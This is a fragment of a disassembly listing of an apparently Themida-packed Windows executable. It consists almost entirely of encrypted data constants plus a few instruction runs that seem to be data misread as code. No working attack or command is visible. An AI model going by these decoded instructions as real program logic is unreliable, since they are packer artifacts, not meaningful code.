loc_4E0265:				; CODE XREF: start:loc_4E0076j
					; start+9Dj
		jmp	loc_54C7AC
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_4E026A	dw 38E9h		; DATA XREF: start+77o
		dd 15334A0h, 138EFEAh, 21E2EE46h, 0FCBF102Eh, 46B88733h
		dd 2422FFFEh, 0FCBE1BE1h, 73650752h, 33726174h,	2E8B7041h
		dd 8E778D3h, 21789CDDh,	281CFC75h, 0D523047Eh, 57007E52h
		dd 8403989Bh, 7122AF7Bh, 0BCAB0AE1h, 6C538A92h,	5701A3FFh
		dd 656854C0h, 64691C6Dh, 5D7F2161h, 0EC9F0112h,	0EB0143FEh
		dd 843F4ABEh, 3DC36BCh,	0B7545D23h, 53FC8017h, 87700122h
		dd 5C35E47Fh, 1191FF21h, 8E5F8F70h, 0D443C58Bh,	4084E860h
		dd 0AFED815Dh, 7E00334h, 30999589h, 0DB50D08h, 7185841Bh
		dd 0BD830106h, 70F8Dh, 0E88B0C74h, 0B84EE2E4h, 78C2694Fh
		dd 0E3244470h, 19493E88h, 0E8456A03h, 682907A3h, 0CF83749Ah
		dd 30ADF4Ah, 0A894B25h,	0E921D5D2h, 0EC4A0214h
		db 0FAh, 1
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pop	eax
		out	dx, al
		pop	edx
		or	[ecx+1359DEAh],	al
		mov	ebx, edx
		mov	dword ptr [ebp-28h], 0E630823h
		inc	eax
		mov	[edi], ebx
		or	[ecx+1D80987Dh], al
		jz	short loc_4E0378
		iret
; ---------------------------------------------------------------------------
		dw 820h
		dd 4566D0F4h, 431812FFh, 0DC36E1EBh
; ---------------------------------------------------------------------------


loc_4E0378:				; CODE XREF: Themida_:004E0367j
		popa
		frstor	byte ptr [esi]
		add	eax, 104C2C9h
		inc	esi
		add	esp, 2A3FF7Ch
		dec	ecx
		xchg	eax, ecx
		out	0, al
		lea	eax, [ebp-80h]
		mov	ebx, [ebp+8]
		mov	dword ptr [ecx-7Bh], 8D501219h
		or	byte ptr [edx],	0D1h
		retn
; ---------------------------------------------------------------------------
		dd 412A1888h, 81280B89h, 5D8006BDh, 27A5E375h, 64BA8D0Ah
		dd 8075013Bh, 0F4BB0E8Ah, 3B85B24h, 785437ABh, 0FF3D0D3h
		dd 754B080Eh, 0C3AFC1F7h, 4A494647h, 0A8F94618h, 0AE61D142h
		dd 0F0D0818Ah, 28EEF6D7h, 284DFC45h, 0F2AD04EBh, 3E803146h
		dd 4DBAF740h, 8634B984h, 7FEB0C7Dh, 32F8433Eh, 13F0126Dh
		dd 10F40E2Ah, 65C14A05h, 0D60004F0h, 3E0D1F8h, 2880E5C2h
		dd 1C8ADB33h, 0FB738030h, 0A0A7230h, 0F4057739h, 22C9FBEBh
		dd 0D961149Fh, 0FD660A0Dh, 7D1EBD08h, 0B00AC33Ah, 72411A10h
		dd 460AC30Bh, 247A0677h, 615D0188h, 83F4ECF0h, 7202CC7Dh
		dd 0C00CB06Ch, 99A5DD76h, 7F826AAh, 0A88D1D38h,	553B02A8h
		dd 78820FFCh, 6B0BDA7h,	43F938AAh, 0B98308BAh, 0FCA17082h
		dd 372CBDh, 7470FFEh, 0B9FA7549h, 736A1722h, 0D18F01BBh
		dd 0BCEB82F1h, 8E00760Ch, 0E1391386h, 0E0655108h, 0FB1DDF36h
		dd 7268A94h, 0C05E928h,	2861059h, 0BC01F60Fh, 273FC917h
		dd 88F8C32Ch, 0EA1DC612h, 681F0B0Dh, 0B3C03ECCh, 5ED1D238h
		dd 3F113337h, 0C200F160h, 52B4BC67h, 0C034CB8Ch, 4E398210h
		dd 0F01765Bh, 3D51B810h, 3BF1D104h, 588746D9h, 562E0975h
		dd 48020E11h, 9065E4ECh, 84578006h, 328E05C5h, 53E92696h
		dd 0C2042A3Ch, 718C0629h, 0EE78205h, 0FF98A8DDh, 6077812Bh
		dd 341D2204h, 0F90C84C1h, 0BC207533h, 0ABB833Fh, 3040EFB3h
		dd 0EC714199h, 0CC7F8C33h, 1940F2FFh, 4AE9FD45h, 0C4621460h
		dd 254D018Eh, 0B1AA8211h, 68AB1146h, 4513845Ah,	5EDA3056h
		dd 3155EE82h, 0EFFB0181h, 0EA8A0338h, 231388B9h, 0A3439714h
		dd 0E951C06Bh, 2117C304h, 8A90C459h, 94A32545h,	21160930h
		dd 6C45141h, 0C010DFB3h, 544640E0h, 88C45C1Ch, 17C45D8Ah
		dd 0C4544440h, 5D18A87Bh, 0A01715EAh, 0C0779Dh,	0B3743DE1h
		dd 0A87364BFh, 3018C500h, 0DD3577E2h, 8D6712C6h, 0D91D07DAh
		dd 3705C781h, 0CA0B52F8h, 12476141h, 905844EAh,	69C00093h
		dd 4B278B4h, 0CF0763ABh, 0A184FF6h, 86C8EC61h, 9D4517F5h
		dd 87108121h, 3BC9548h,	5F0D951Fh, 151D24EAh, 10D8F98Bh
		dd 77CBB60Fh, 7F3E0EF8h, 348003FEh, 0A0633665h,	2230EA52h
		dd 8C670901h, 0BA068AD9h, 96A01A30h, 14C43A42h,	0E9062A2Eh
		dd 0FC03310Fh, 0FE61C5E3h, 0DCCDE805h, 0C67E3Bh, 0C48CBA52h
		dd 8283B55Bh, 64EBC318h, 9BFF932h, 6924D14Eh, 0B8805703h
		dd 0E0680C6Fh, 8B3B8C87h, 3F0FCDEh, 53F893A0h, 710011EAh
		dd 572D8C20h, 56C59Eh, 0A0C11A40h, 0E7328468h, 0E4369167h
		dd 0BC4B65D0h, 0C32A180Ch, 92941608h, 0F9688B00h, 90CC8C58h
		dd 7DE95003h, 0EBAD013Fh, 0CFA526CDh, 0D1222061h, 5A62FD0Fh
		dd 2602AF84h, 12F078Eh,	0A106E482h, 9E4B532Eh, 0DF806102h
		dd 10C694EDh, 62D10C8Ch, 8638EF84h, 6FEA0F44h, 34E00B1Bh
		dd 0F5C5B7E9h, 0EFE58D01h, 7EEAF6B6h, 76BA3264h, 0AFF73E7Dh
		dd 32134700h, 0E78001E8h, 7B0E7990h, 9E1CC9D0h,	3A256500h
		dd 9B8FD8h, 1DE603E8h, 639318DCh, 0D0CC7F2h, 39F86476h
		dd 31CA00E2h, 40A35C1Fh, 0A004CA8h, 4262361Eh, 609FC4C3h
		dd 2EE72806h, 0E5E8A4D3h, 3C061D7Ah, 0FC643E2Ah, 75F90049h
		dd 0C37121C7h, 0B12E1570h, 3B27D7h, 6E802BF3h, 0C2C6963h
		dd 0A4578B71h, 6800E189h, 708650C6h, 0C395CF93h, 24397718h
		dd 85F6790Ch, 90058022h, 71EE6FCFh, 0F0998F8Dh,	0B03EF19h
		dd 0A9189F2Ah, 4D82F006h, 0FB2514B3h, 8C1118F3h, 4287C1Ch
		dd 8E210CE8h, 80FC101Dh, 9F5A09DCh, 66FE060Bh, 710E6D8Ah
		dd 7D991415h, 48DB00BCh, 479F1A8Fh, 0AE4400BAh,	5B1C3F7Ch
		dd 0A11466EFh, 10C45FBBh, 7E1405A4h, 8A0C9C2Bh,	8E510C6Eh
		dd 4FCA318h, 24280620h,	20A9251Eh, 47460F44h, 0D8B86930h
		dd 0F4288B70h, 0FF3094B4h, 1AC4898Fh, 6E900B6h,	5D42BDB8h
		dd 7E00D227h, 8D921CB1h, 0E01F615Bh, 43851804h,	9F5DA041h
		dd 1DF93018h, 0C767258h, 1F6A8A8Eh, 2A54EE99h, 0ED00AF8Ch
		dd 0C2D974BCh, 0D724B9h, 0F6B7AA5Dh, 0ACADCC6Eh, 209A9800h
		dd 15044199h, 908152A1h, 69674700h, 8A0948D9h, 9B15A8A0h
		dd 74A410A0h, 9036DB30h, 48D8D392h, 641530ECh, 0D73A80F4h
		dd 3B853C83h, 0B8985A6Ah, 0DD0F3098h, 91961594h, 0C2F0DB02h
		dd 8C8190BFh, 48493DA0h, 0A3148FE0h, 0CB0117Ch,	0E11AD126h
		dd 3EC6EA23h, 0FE9F3D12h, 0FC9C04Fh, 0F7ACF9EEh, 16889700h
		dd 0D39350EFh, 99FC64D4h, 0A93441F2h, 0C5205D76h, 0BDB0A0Ch
		dd 0C1ECC34Fh, 0A2D0AB2Eh, 3A38FC39h, 29D3987Ch, 60FF55F0h
		dd 0E99BC184h, 0F600D947h, 8B7DEBF5h, 793A0A70h, 0B371C064h
		dd 0A5BA1A88h, 38776C1Fh, 0B56980FEh, 73C16074h, 0E3C32475h
		dd 67681A0h, 0D07C66E2h, 2844EEABh, 5C7E78E1h, 3700BB69h
		dd 7436452h, 6B3DD2B4h,	30A800D5h, 84776746h, 3E7F30A4h
		dd 81FFB2A8h, 7AD24788h, 0E8A514F2h, 0F3BB008h,	0E36124B0h
		dd 0D33BD52Bh, 84E080F2h, 0DBED5597h, 929F1421h, 4D00F6FFh
		dd 48BBF787h, 0E026D30Fh, 88B95007h, 2B4F493h, 3FC63899h
		dd 7AE74C40h, 2C422606h, 669322Ah, 0B89D0816h, 40AA054h
		dd 0F894D1FCh, 0A15D0F9Fh, 6F8B7243h, 9A500382h, 500A5C3Bh
		dd 6D5240C7h, 0B400A7ADh, 3146788Bh, 0E3CE11h, 72C4DF39h
		dd 1B3B49D7h, 0ADC2E107h, 5E390A8h, 31ECA0D2h, 0E76B03F0h
		dd 0EED74E66h, 2D98108Eh, 976C3700h, 145A316Eh,	0F15D004Ah
		dd 0D91B4349h, 0BC00F065h, 0B972E8FDh, 283CD891h, 0D016A8h
		dd 4B5160A9h, 0FE74155Ch, 360AAD2Eh, 802F290Ah,	0B875D00Fh
		dd 54FF64F8h, 70808Eh, 3BF04096h, 771867FEh, 0F9C21701h
		dd 60ACC799h, 903DE2CCh, 0E4D22F0h, 94A4BC91h, 71D1108h
		dd 8317E6B8h, 10121FB5h, 24358AEAh, 3B6BD004h, 899C1404h
		dd 2F242004h, 52663740h, 8A09CCD4h, 8020076Ch, 4E70AC01h
		dd 0CE76B301h, 0FF256642h, 1A305863h, 686D2F29h, 81488200h
		dd 32A7EFF0h, 0DA99039Ch, 52928014h, 20269899h,	0C8003C4Ch
		dd 353A7608h, 9B5CD71h,	0C3E3BE4Dh, 0CC9B3084h,	8288F720h
		dd 0E4800066h, 9427414Bh, 6C0136B9h, 0AE98EEF4h, 0EC32D111h
		dd 0CA6A0078h, 0BEA54CAFh, 1770B3A8h, 0A00DCC2Ah, 9F3A5203h
		dd 0B29EFE3h, 0CE562EF1h, 0E2C67700h, 0F000B4Bh, 1CF856Eh
		dd 0ECE1349Dh, 244992Eh, 14A8D307h, 68940404h, 293FA404h
		dd 0DB769B00h, 0BB28A370h, 963EC081h, 5867AC4Eh, 878EEE10h
		dd 27770591h, 608990F7h, 0F0F4A835h, 38490623h,	39FB64DFh
		dd 0EB40B20Fh, 0EAE62061h, 75CE8Fh, 0EC25422Ch,	0DC322B6Ah
		dd 0A979F813h, 9486AC08h, 38003C64h, 0C5A024DEh, 4B08E685h
		dd 0A8A888F7h, 0A592028h, 25D6B705h, 0E0936BFEh, 8AE6C0DFh
		dd 0B9816669h, 872241FAh, 7A0E0388h, 4A9F15B1h,	0CCB81075h
		dd 6224A491h, 9C0B100Ah, 0CA6B7300h, 207D0436h,	0CC5032EFh
		dd 71D6E3B0h, 26AC8014h, 2808FCE6h, 9FDC0409h, 1FEE4607h
		dd 955F0079h, 6CD565DEh, 15041824h, 8A937509h, 94A17891h
		dd 3E748C15h, 0F37ADE00h, 0BC5602EBh, 6165004Ah, 882C8D7Fh
		dd 3E00FF87h, 0E7E6E49Eh, 50C9183Fh, 99AD8C21h,	2294A848h
		dd 65121770h, 443075A0h, 421EFC5h, 0AD081A09h, 0DB7C802Eh
		dd 0C734BB72h, 0C88C40A1h, 9D4F006Eh, 67225D1Fh, 0E0C883D8h
		dd 0B58A8026h, 98A8EB9Fh
		dd 35657E00h, 6D55117Ah, 188D06B3h, 0D9ED6466h,	27546E00h
		dd 4A8F6B31h, 0DD0309Fh, 6D69CD91h, 6659CE01h, 7FBB70D7h
		dd 2108CA4h, 3C8784AEh,	41A16B00h, 2BCA049h, 0B8008328h
		dd 0A68A69CCh, 0DDC70FEh, 0BA8FBB74h, 5BA4EC41h, 1972944h
		dd 77C9A85Eh, 0F9A76D08h, 9BB870D6h, 4D028642h,	678B0D91h
		dd 1566F890h, 9484C3Eh,	80E8C4A3h, 7F9D0400h, 48509A2Ah
		dd 0E310B474h, 12C8012Ch, 566F9D07h, 0A1011087h, 0D3467408h
		dd 593C0BB8h, 8465A89Bh, 4910470Ch, 412201Eh, 0E9389FC6h
		dd 0DF0CD007h, 95321847h, 218F4139h, 0F4A148FEh, 0AF615BBBh
		dd 0D07DC8F0h, 59486C22h, 0B45CD50Fh, 0D1356446h, 0D838E017h
		dd 9CD32470h, 80A8A001h, 8B230261h, 178FF705h, 600A044h
		dd 4F0FFEB4h, 55A315B0h, 239893h, 0D0D37203h, 0C7B01230h
		dd 33071D2Ch, 294E1B4Ch, 23E8F7D0h, 1B0778Ch, 1113E70Eh
		dd 819947BBh, 0E04614B8h, 0F030E810h, 0EF1540B2h, 8E812560h
		dd 31BED5h, 41DD7859h, 766870B6h, 8C002AB8h, 0DCC20B51h
		dd 0D5621FFh, 7A868AF7h, 0A9B6E738h, 8BBD4E07h,	1DF0609Eh
		dd 0EC3370A3h, 8CC0AEEh, 8E64E5D3h, 41A0DBC4h, 0E136DE8Bh
		dd 1798A00h, 0D13C9E06h, 7FB00953h, 1C027C07h, 6423899Dh
		dd 424107F1h, 0D0363B73h, 1EF4BC67h, 7504BCA0h,	8343724h
		dd 6A936426h, 0D4C84063h, 24204812h, 0E56D3E80h, 0B61FF4h
		dd 5326C66Bh, 51DA0DEFh, 0E8B750Ah, 7422A0B5h, 4E17230Fh
		dd 0C490A02Dh, 0F6BEC2Fh, 4F09A29Ch, 0E8049F4Eh, 0DF248025h
		dd 77349B93h, 18827826h, 0FC7C1013h, 0C89EB73Dh, 43BB106Ch
		dd 54406631h, 44CF0238h, 694724E0h, 56720078h, 0FE5FE3A1h
		dd 27918760h, 1257D5h, 0C5DBE880h, 0D441A322h, 237D060Ch
		dd 0B5F5833h, 72143C97h, 4011DC24h, 68608CA5h, 2FEB0786h
		dd 41E2B16Ch, 8B30D950h, 92981420h, 0A83E880Ch,	0ACD6F041h
		dd 72197DDCh, 0B1FC987Ah, 0F6D842Ch, 80600B28h,	3AF05FA8h
		dd 0C37217F8h, 4C5FDFh,	0D7240866h, 8B1470AEh, 30C80BBh
		dd 0C2B29BF7h, 0AEFFA172h, 8D408704h, 0A4C1880h, 0FF88E909h
		dd 0B978987Fh, 0BF9701C1h, 6977A479h, 38B422EEh, 24FD2425h
		dd 36034D93h, 3D36D0ECh, 12039D39h, 9842EE01h, 8952B2F0h
		dd 0DC5B482Eh, 1E131960h, 0CEE00224h, 0A8DD251Ch, 0B1A2E280h
		dd 4002DB47h, 0EBFF8AE9h, 0BF84C0E6h, 825D03CAh, 3972F465h
		dd 74C2ED9Bh, 4820049Ch, 654900EEh, 0E59432ADh,	9A01E9D5h
		dd 3F6C7ED8h, 199D6D2Dh, 0C240C65Eh, 2309404Dh,	81BCFDC9h
		dd 0F05DF677h, 67E5EB40h, 7F48001Ah, 0F3493EDDh, 1F604D33h
		dd 0EDE9D140h, 1858DFAFh, 0A7926818h, 20638280h, 0F8006705h
		dd 89CDFD0Ch, 1EA770Dh,	0B4C6B29h, 30B26F1Ch, 0BC1C9470h
		dd 1FBBC95Ch, 850F470Eh, 367D065Fh, 0C20A0A10h,	18744A05h
		dd 0EB0D0844h, 74CA013Eh, 0A60F500h, 0D395C048h, 89E261E9h
		dd 9E4CF9C1h, 73002838h, 484A6104h, 30EE725Eh, 3D298EB6h
		dd 8CA88165h, 0AD187CD3h, 0B8715EEDh, 8CC55091h, 88052EBh
		dd 0B84A8D15h, 4187AC42h, 2A00C8E9h, 0BBAEBF7h,	42E8C50Dh
		dd 79C818CBh, 8B0C8EC0h, 2107BAF3h, 0E94E15EDh,	7F05E8F6h
		dd 42A1CB88h, 91C16218h, 78F38CA0h, 441A5EF2h, 33B1C441h
		dd 36F5BA94h, 0F30A74FEh, 0DCB65FB9h, 752B1540h, 0C41C04Eh
		dd 0F3B5B1DAh, 88DC7650h, 0E25C96E0h, 1AEE03F5h, 1415526Fh
		dd 4CB16AB9h, 40DD6806h, 6EB0885Fh, 14D19E60h, 1D2A7A49h
		dd 724748h, 0DE3AF84Ch,	0A305BBEAh, 32FB67C6h, 4BEDD840h
		dd 6064C482h, 36D31149h, 7C0CD802h, 61083F44h, 807B50EAh
		dd 38D88BE5h, 170AC626h, 0D067F34Fh, 4C2E2F85h,	40C02868h
		dd 68DE74Dh, 58BFB43Bh,	0D0C2E92Ah, 8D43E00h, 9ED98642h
		dd 2ADDE872h, 0BA069C9h, 3CA3CBEAh, 3C2D0B85h, 0B40C3840h
		dd 3966CADDh, 0F62807F7h, 0A01367D3h, 0EAB72747h, 0ED0307F9h
		dd 95281A6Fh, 3C373175h, 0C764405h, 8BC1A442h, 193C449Bh
		dd 311A64C3h, 88344AA4h, 967C5E20h, 0F5285700h,	113C95Ah
		dd 5D1C046h, 0D4E095B5h, 6302661Ch, 74489AD4h, 9591BCADh
		dd 8067C4B0h, 892091CEh, 3F080779h, 0F04EC815h,	4E3998ACh
		dd 61C363F2h, 0A9219435h, 6E9A08FEh, 745CCA00h,	0C273C7DFh
		dd 0EAB6F371h, 0C1ECF440h, 0A1586E03h, 0ECD0758Eh, 1C924C7h
		dd 0B5AD1B70h, 0BC304CC1h, 6A81C0D7h, 647737Dh,	2920F853h
		dd 8D0FBCA3h, 2830B96Bh, 0C73D9C24h, 97155008h,	0BFAEC146h
		dd 7A102455h, 0FEDA6A40h, 4D3C00A6h, 5DA32984h,	98004C9Fh
		dd 37192E7Dh, 3DCCF4B5h, 0FC96A296h, 208D0083h,	63DED97Bh
		dd 27300100h, 0C25447A4h, 6BAA0BD5h, 7400829Ah,	0A7F80E1Fh
		dd 0BA6DAB00h, 78365292h, 241518E4h, 0FF6940C9h, 282C20h
		dd 8C34C24Eh, 0CD82C765h, 350022E4h, 0D0A99C05h, 1CDF5696h
		dd 40E47412h, 54DA7B60h, 1800FF6Dh, 3830A602h, 0B8C3391h
		dd 0E888C757h, 4358012h, 2F82A5Fh, 25905343h, 0D8406596h
		dd 230092EAh, 0ECB404FDh, 2E61990Fh, 1DBB2Eh, 0E8C96A15h
		dd 0FC0372DFh, 2B967429h, 0A8400154h, 0D249605Dh, 835CCC5h
		dd 0F6A9A500h, 361B6FADh, 3E27006Ch, 9F298C3h, 2810FB17h
		dd 8E39A440h, 5C9D90h, 181AC5E4h, 0A9A7F6h, 525D91D4h
		dd 9358011h, 3E856A01h,	19FB62E2h, 0F2C96E4h, 912BAB0Ah
		dd 0EE5260C0h, 18263077h, 0F51238F4h, 0BA942Eh,	37833841h
		dd 39A5BA7h, 4CC4E77Fh,	0A9F0F635h, 6F0095D7h, 0F27402DFh
		dd 1D87200Ah, 9E63D9EFh, 46E3C0FEh, 0A32C7B54h,	48D2981Ch
		dd 17239EC0h, 0B77305h,	20669FC8h, 6D4BACFEh, 0E97D0600h
		dd 0F2057115h, 46E13874h, 0A62D918Dh, 7F98DF40h, 0F000351Fh
		dd 99CCED72h, 1A315Bh, 5C0AE6BBh, 7109DCC9h, 22CFA0Eh
		dd 914000E2h, 988C29h, 80CD4C9Bh, 68F0031Fh, 0AA8C7559h
		dd 0EF0006FCh, 37C24D44h, 9A6AABh, 1D90E845h, 0A66933FEh
		dd 59991B10h, 0BE38A00h, 0E1ED7B63h, 2D05D500h,	4D42A603h
		dd 0E22C3F77h, 0D348CB07h, 0F4369195h, 0D0C8CB9Eh, 0FF015561h
		dd 7909EABAh, 0AF61E98Bh, 706719C0h, 905000DFh,	0B459A134h
		dd 0C50ED475h, 0E0370B2Eh, 709E21A9h, 0BB100030h, 881FD6E8h
		dd 610715DCh, 0BA282903h, 257A2D00h, 0A198008Fh, 0F182CC49h
		dd 0A805F60Eh, 73D0BBB2h, 2E76AC82h, 6FDFC29Fh,	8892F005h
		dd 67FF0437h, 750300F6h, 80028F1h, 7004DBA2h, 2974DA7Fh
		dd 5434EE24h, 0F5760100h, 0DA9AD5D8h, 75720015h, 0CE3954DBh
		dd 0F6560829h, 1C33701Ch, 0E0F3101Fh, 0C04B0605h, 80FD3D21h
		dd 21E0D58Fh, 28CCEA0Eh, 87368820h, 0F081050Ch,	62D0DD24h
		dd 2A49C100h, 6770470Eh, 8CF718EEh, 8BD469C0h, 7A3FF8E3h
		dd 75682A0Ch, 0C0CB08AAh, 8B940221h, 0D23DD4BBh, 3D775CDDh
		dd 62BC0047h, 9AF60A9Eh, 0B9686066h, 32B1754h, 0CA1719ECh
		dd 30C3F54Ah, 33210036h, 0BEDC2B0Fh, 9900616Ah,	470DD439h
		dd 6037BAF3h, 0D8ED5848h, 2D173F6Dh, 9CC77589h,	0FB9DD090h
		dd 30B51BEBh, 0D1D0E94Dh, 6C7132C1h, 319F305h, 1C3240FCh
		dd 209C05C6h, 994D49B0h, 0E500DFF4h, 9618785Fh,	28B14A65h
		dd 0C6C3AE3h, 42755923h, 0A12A6A10h, 7406A0A5h,	727969C3h
		dd 0F8D1F480h, 0A02295C5h, 281936F1h, 0B0B96011h, 0C514E8D4h
		dd 0C1486766h, 0C9EED3D2h
		dd 4D3D4004h, 0D3012401h, 83D46AE9h, 0B9630F18h, 180EEF5h
		dd 0F3305BFBh, 2405C261h, 9F03DE08h, 0ED34BE7Ch, 0CE40004Ah
		dd 60305C04h, 0DF2F4425h, 2220ACCCh, 5C2AFBADh,	400350ACh
		dd 288C9DE4h, 569A2B0Ch, 3922E401h, 2B043400h, 4D48C39Eh
		dd 793D62E9h, 0B4A7C78Dh, 1F8430BDh, 73001856h,	0E3D4B20h
		dd 980602h, 0B8C515FEh,	96177AD3h, 0F2C40403h, 1F3C95Bh
		dd 8E455991h, 80C88DFEh, 57370551h, 1E45F63h, 8F4EB224h
		dd 80C58A6Dh, 0FF36FD21h, 0F41D0DEFh, 24920084h, 0BC398191h
		dd 16158B32h, 1DCCDDFh,	8915045Dh, 8820C40Eh, 920E8CFAh
		dd 913EFB8Bh, 0FF87CD88h, 0AFB08B9Ah, 0E7EF8Eh,	2AA3869Ch
		dd 74795FD6h, 3695224h,	5E7FBC01h, 402ADDF9h, 0B301CDF8h
		dd 0F209611Ah, 5068C048h, 0D65EB8h, 0B3F9A4F8h,	0A001782Dh
		dd 8E630653h, 9CC076FBh, 0CD5D06B9h, 58C9A8CBh,	0BBDE0521h
		dd 610EB384h, 20D36212h, 0C5B3FDA8h, 689C700h, 0E9D11649h
		dd 309C4840h, 19551D05h, 8CE04448h, 0AA5C43C4h,	0A6B0B04Ah
		dd 0B2EE6Eh, 0AF3A5103h, 0C68D63BFh, 0C03B29C0h, 0EC5A2Fh
		dd 8934452Dh, 0B2A4E957h, 0B43830F8h, 783C24D7h, 52197D80h
		dd 1AD3632h, 0C1734D5Ch, 0C476FA0Ah, 0ED0257A6h, 4F9E17FBh
		dd 0E8FABEh, 0E6C9AFB7h, 83D35E2Fh, 34E86702h, 48BADA99h
		dd 0E7912D9Ch, 0D1B65F00h, 298FC4Ch, 0B5B9C315h, 0A7284020h
		dd 10342842h, 8014BCCCh, 0B367A497h, 0FB04DD4Dh, 72C6DF05h
		dd 5FE6EA40h, 61F8481Ah, 26E1C918h, 3EFA48h, 95FEE735h
		dd 0B74F4E5h, 0F01CC9Bh, 0F0D58D81h, 0F706030Eh, 0E8276B80h
		dd 0C039FF9Fh, 0B3DF3E19h, 7700F856h, 35F38E8Ch, 0D64250h
		dd 7501D7B0h, 4EFAF7C5h, 8CBBBF2Ah, 4C9DF8C4h, 0A6B1CB01h
		dd 0F58840D6h, 2B64C9DEh, 90888DC9h, 203C0025h,	0B5BEAE4h
		dd 0FA0019EFh, 29BB88E9h, 440828Ah, 413F48F6h, 831C90BDh
		dd 0F2197BCDh, 5DA996D4h, 3BA2F833h, 39C1C931h,	317A1320h
		dd 0AAB03A1Fh, 608004E3h, 0A1F615CAh, 1A189330h, 71FC2B70h
		dd 2650448Ch, 0DE2B1203h, 986CD695h, 0E23582h, 888DEB08h
		dd 0E772D1D5h, 53F368C0h, 0A99469B1h, 0FB180FDCh, 0D5918004h
		dd 40322210h, 81030A21h, 0BDAEACCCh, 1E3CD100h,	0EB142D90h
		dd 5C3F552h, 939888BCh,	12494082h, 0D2C30461h, 9D565F01h
		dd 0DC255479h, 54BF448h, 26AC8A00h, 0E127399Bh,	0EC9D0020h
		dd 7DC82FB4h, 5603DEE3h, 4F79337h, 4360203Fh, 15FA0301h
		dd 31F5C163h, 2CF45020h, 8200584h, 7409CE2Eh, 0B5AC8308h
		dd 4759FEAh, 80FC7C20h,	0F0D56890h, 44917Ch, 0D981041Dh
		dd 1DE2910h, 0BE97DAC1h, 0F70FC960h, 638C703Bh,	987828D1h
		dd 3E9DA943h, 0FBBBF0D3h, 2418C382h, 9C406F5Eh,	0B8C255E5h
		dd 0A40EE988h, 0BC820FCCh, 0F89B2069h, 6803A991h, 8D766362h
		dd 8C6105C1h, 87709DA0h, 5807F80h, 646CA484h, 0F78634Dh
		dd 80A87D32h, 6274D372h, 57491330h, 0B7E0403Eh,	7822E29Ch
		dd 84F49629h, 0BC183579h, 9F9FF338h, 0B205591Fh, 0FC0135BBh
		dd 2921A160h, 42C18840h, 93DF2C06h, 80F79100h, 6114B3FFh
		dd 0D2448CE2h, 0D4F74CA6h, 1BF04C00h, 0A04EEE1Fh, 349918F8h
		dd 0F31835D1h, 8D59C500h, 32D1D37Ah, 68229DD4h,	2C083CB5h
		dd 0E43465Ch, 493218h, 5BAB6E8Ah, 0BB840169h, 61A16B02h
		dd 75844030h, 6E5E64C3h, 8DFD3802h, 0A29A20C8h,	4E004FBAh
		dd 8851E5D2h, 1115C3A6h, 3B0117h, 4362DA23h, 36AD54Fh
		dd 9CE33FABh, 0A4E8152Dh, 8448D319h, 4C884E98h,	0EA55E429h
		dd 66D8C91Eh, 2DB22810h, 7848E16h, 3F0E7C02h, 55E85275h
		dd 5ED0C062h, 9897049Bh, 973F0BB7h, 0CF33F018h,	80150C69h
		dd 9CE4F65Eh, 6113B302h, 10D931DAh, 6B3F8A3h, 0C199B916h
		dd 6F48A0CDh, 4E18DC18h, 0B86C5BE9h, 59830016h,	0E0DCA3D2h
		dd 183A932Ch, 0C95D0AF6h, 4701D18Ch, 8DEEC397h,	5C393830h
		dd 892302Eh, 0DC19898h,	9D9052Bh, 358FC833h, 77C22BC3h
		dd 31BDB5F0h, 98693401h, 6618F33Ch, 0A800F072h,	87DE0814h
		dd 0BA012B88h, 867CF91Ch, 94FC27F1h, 636F02AFh,	933097DDh
		dd 0DE1EE860h, 829D40B1h, 30BAE420h, 9AB02F07h,	0F230E9D5h
		dd 631728BBh, 1D4BC9h, 4EFF500h, 0D37035A6h, 4E90C454h
		dd 8004EB5Ch, 0C793C1AEh, 0D59E0322h, 50062068h, 8ED42900h
		dd 0A14108B8h, 0EBF60075h, 351FD368h, 5E21C4E0h, 52C10B48h
		dd 800E1CA1h, 0BC7C283Ah, 0C1018C3Ah, 0DF6EDA14h, 0B8F0E59Ch
		dd 0B0F4ABCDh, 812A055Ah, 0A2B02395h, 0B9E13042h, 55008876h
		dd 0DEFB47ACh, 24158E97h, 416CCDDFh, 0F2A026AEh, 3E5F2FC1h
		dd 0E9EC484Fh, 0E91C872Dh, 1F18EFA6h, 86FE1E47h, 9845B7B2h
		dd 12675F00h, 0A24CE87Ch, 4B892C47h, 0D1D31294h, 0D459564h
		dd 3C615CEBh, 0B8CD2BCh, 0A60C56D7h, 0FE17A480h, 5B482075h
		dd 0F41101C8h, 0F8EE676Fh, 9FDDC028h, 823F888Bh, 1950170h
		dd 3FD1078Bh, 336BE13Ch, 450D0B1Ch, 0F88007B4h,	0DE9438E0h
		dd 719E3A27h, 0F3336C01h, 4CEF53E0h, 490114D8h,	0D0E6A519h
		dd 0B3424C4Dh, 2487637h, 2F21B961h, 3DEC2052h, 288818Ch
		dd 0B3080418h, 0C4FA6117h, 0FCA740D1h, 0DB8DB3h, 714B8B0Fh
		dd 3AECC687h, 5AEB9009h, 60ACC0B5h, 28FD59B9h, 8342ED09h
		dd 3EDE5C41h, 4810424h,	75073981h, 9367830Eh, 1C75C498h
		dd 760714E2h, 0C30A1024h, 90405305h, 0C717CCCEh, 0FA23008Fh
		dd 4AFC0BFFh, 6894CB65h, 0FA600644h, 0D5239280h, 4111F8h
		dd 6B81020Bh, 7958DAh, 27BB4A7Ch, 6630A473h, 61C4000h
		dd 0EDEBC7B8h, 414E52h,	9BE89DB0h, 0E492BF60h, 550122h
		dd 6DC57D5Ah, 5D864E89h, 8A83F58h, 9594107Bh, 0C29DB803h
		dd 26118B3h, 0FBAA001Ch, 0CE958CB3h, 590064BCh,	9B50E237h
		dd 0FE92CDh, 1723B216h,	5D4985Eh, 0B0758E29h, 0E0BB6C0Eh
		dd 76BA35FDh, 14D83989h, 1118CEA6h, 2B0E8397h, 6711B204h
		dd 63200B8h, 5B4BC32Bh,	3E210F01h, 0EA4F1DE4h, 3A7E7822h
		dd 523B7B2Eh, 1CE843B6h, 50CBF924h, 774AC103h, 62181CE1h
		dd 5D550B9h, 3D74B46Bh,	2A2901Dh, 3E825F9Dh, 0E8A7AD65h
		dd 637BE273h, 276C088Ah, 4291289Dh, 3B7A7EC0h, 62268415h
		dd 0F33AFFE6h, 8F10DF4Ch, 0FBAD8329h, 0EA41D048h, 4C889097h
		dd 1610FC99h, 890E04C2h, 0A882EBFEh, 520C0E34h,	92E4CF69h
		dd 3D05F972h, 161F21C0h, 1832BF17h, 44C8C709h, 0EA2F60D6h
